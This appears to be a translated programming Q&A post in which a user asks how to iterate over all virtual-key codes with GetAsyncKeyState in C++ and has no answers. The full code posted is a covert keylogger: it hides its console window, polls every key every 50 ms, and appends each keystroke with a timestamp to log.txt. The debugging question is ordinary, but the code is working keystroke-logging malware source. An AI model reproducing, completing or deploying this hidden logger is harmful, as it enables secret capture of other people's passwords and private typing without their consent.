C ++ - 迭代GetAsyncKeyState的所有VK_

时间:2014-04-29 15:16:19

标签: c++ loops

我写了一些小例程:

int main()
{
  HideWindow();  
  writeTime();

  char i;

  while (1)
  {
    Sleep(50);
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767) cout << "Key pressed";
    }
  }
  //system("PAUSE");
  return 0; 
}

编译器告诉我(当然)for-routine始终为true,因为我只能达到127(char = 1 Byte)。 但是,如果我使用int

int i;
...
for (i = 8; i<= 190; i++)
{
    ...
}

我没有收到错误,程序只进入for-routine一次然后退出while例程。

有没有办法迭代所有VK_? http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293%28v=vs.85%29.aspx

编辑:整个代码

#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <time.h>

using namespace std;

int save(int key_stroke, char *file);
void HideWindow();
void writeTime();

int main()
{
  HideWindow();  
  writeTime();

  int i;

  //******SCHLEIFE******\\
  while (1)
  {
      Sleep(50);
      for(i = 8; i <= 190; i++)
      {
          if (GetAsyncKeyState(i) == -32767) save(i,"log.txt");
      }
  }
  //system("PAUSE");
  return 0;
}

int save(int key_stroke, char *file)
{
  if ( (key_stroke == 1) || (key_stroke == 2) ) return 0;

  FILE *OUTPUT_FILE;
  OUTPUT_FILE = fopen(file, "a+");
  switch(key_stroke)
  {
  case          8: fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); break;
  case         13: fprintf(OUTPUT_FILE, "%s", "\n[ENTER]"); break;
  case         32: fprintf(OUTPUT_FILE, "%s", "\n "); break;
  case        190: fprintf(OUTPUT_FILE, "%s", "."); break;
  case     VK_TAB: fprintf(OUTPUT_FILE, "%s", "[TAB]"); break;
  case   VK_SHIFT: fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); break;
  case VK_CONTROL: fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); break;
  case  VK_ESCAPE: fprintf(OUTPUT_FILE, "%s", "[ESCAPE]\n"); break;
  case     VK_END: fprintf(OUTPUT_FILE, "%s", "[END]"); break;
  case    VK_HOME: fprintf(OUTPUT_FILE, "%s", "[HOME]"); break;
  case    VK_LEFT: fprintf(OUTPUT_FILE, "%s", "[LEFT]"); break;
  case   VK_RIGHT: fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); break;
  case    VK_DOWN: fprintf(OUTPUT_FILE, "%s", "[DOWN]"); break;
  case      VK_UP: fprintf(OUTPUT_FILE, "%s", "[UP]"); break;
  default:         fprintf(OUTPUT_FILE, "%s", &key_stroke);
  }    
  fclose (OUTPUT_FILE);
  return 0;
}

void HideWindow()
{
  HWND hiding;
  AllocConsole();
  hiding = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(hiding,0);
}

void writeTime()
{
  time_t actTime;
  time(&actTime);

  FILE *file = fopen("log.txt","a+");
  fprintf(file, "\n%s",ctime(&actTime));
  fclose(file);
}

谢谢:)

0 个答案:

没有答案